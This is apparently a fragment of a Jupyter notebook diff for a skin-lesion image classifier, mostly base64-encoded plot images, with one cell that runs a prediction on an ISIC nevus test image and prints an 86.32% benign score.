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",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {
+ "needs_background": "light"
+ },
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "predict_image_class(\"data/test/nevus/ISIC_0012092.jpg\", m)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 38,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 355
+ },
+ "id": "QXjc_iC11WMT",
+ "outputId": "531914e5-d3c1-408f-d984-301a60a77925"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "1/1 [==============================] - 0s 26ms/step\n"
+ ]
+ },
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n"
+ ]
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "[[0.13682997]]\n",
+ "0.13682997\n",
+ "This image is 86.32% benign.\n"
+ ]
+ },
+ {
+ "data": {
+ "image/png": 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+xu1fY42nHH7i/bv3pJQ4/vAdn775ge63ARsctSyIOPrQkfxEXq/s3nxBtp5pvbALgaqNujSMQsmJrh8Y7u9RDCJCzoWmSucsVX4m5nR+JJsjxhiqmI1oqQquxxjBdTuM75BUsOo2ZrNBaeAD2G5LSmdhDgPy/vcEZ5FlRnxH2N3ijEFLplSYS+J6PEAuPOzhZgedgLeKlortoSqUWrCA+Dvi/RvSh3/CDK+wRcnrgrH288jRIBVaMCA9/vPD1VYR6zCirNcL/e0r1nIC56k0VGeiMRjb05pSrifycgHNdP2eafm4STIl09KKOI+plTKfsdZi3B5pSk0TgqJrwvh+myasR6zFOqGmzPzxL7h4Q5OINQ7RSl1mCIEyXQnjjpoXaskEE+jGO6TrqNcTYg0lzVhjcb5nPb5s7F+/sbVgaWuCXJA0IbVi3Yj1lpomUrrQht02xk5HTM3sX39NOTyTn7/FGmH69CdMytCE0N0wvP+3rE/focYQ+hE33CNisf1IvH+HIbEe/4SJHcvhQBjuaeLxMSL1iuYjLU+gllwXioK6uGHzh1c44xDraChSC1JWmjq0i7iUiXc7wFJqRu/uSeUJm25wXqFOsExcrk90r78kr9uz8bt3EG8o+cr08iNaLyxzoru9gbrSykQ9J2xW3O410/EjfYz86ldf89d//ie+/+MfGYaBh3dvsNai2nDeMvQj15IgZXZ3D5yeC7kmjLG4z/xLKwUBvDOotZRakVJZrhM3+xv4uZjTWsGqonklzRsWs11EzD3ChsdKykiu5Msnii7IjWAXRQxo3t5nqQJ/+DfE3/yecHlGy4rteqwRWk5AI6XC5fBMWa6MBr78zSNDPqM1k6dKa4YwbJCjWQUs+IG8rMSbXzM8/I716S+IAzcM5NJQKhiPNZZmlFwzQiHNF5xzCAYjjXT+EdMyikctSDpRAffua8rpE7YbCdxA7Umnj4h0qBiMVnw3orWiJeH7VzAVXBww3lPmC52PFBzG78ilYYww7kbsuEc0cZ07CCMy3iPTgbqeSJeI9YFSFmq60oyhaWF6+YhZV2o+U9ZMt7/ZCBs1G3b0jjrPGInY0GOWlXQ8IQJOKqIVrGNNCRv3tOVCKhmznJEm0O9ZDgfMfCLsBiQlcn5BbYD1hOsecVo5f/yG/Rd/hxse0KKk8xPiPNOnv6LTFXIh5YLrI3TDJsf0geWw0Mwt9aYDDcShY2STfDCCdDtoFsSi0qinZ9CKjzvEOGpIlHPBWINIQWxPvH1kVaGlRBQHgydlT7Me5coyHRFmjB8xzmKtJ82VUCfa0/e00CPrwiyQ0hPxckD2d6xPH+ldx7uvv+K7H77nh2/+iusig484azcZzFi6ECjTmf52z92b96SPH4hWqblS5hUpjTTPzIcj/nYE17EsF3z0ZGmkZf15yXl5+Ug+H3BiMHkCa5Cww3aOdDpRv/8L1vyE3e3Q5UTcGdrqKKZQqyIFaoV6NzC++5ohjtTLC2IdzhkoBUtjLpnT6cDl5YW8VN7cB2Q+YMYdeU7gBb9/C3LGmQasEG+xcaSenxjf/Y7p+TvS9QVrPBVBdaZ+buEmTzQXaBic7yglUcuCcx1WDdREc21jUDFUN+JcTzl8xN/eo8bh4450faatJ+JwT9WKc55SBZMKph8Z9/dM5YRKpSYQtYhzWB9oqlABbdg+EruedHX44T3ebaaAVhZsXsmnIwkLrtLSDLbg/A1IpkzPn6UYh2AxJpKvZ8T1iO1wfYcxFs116xwSNp1ODIJDf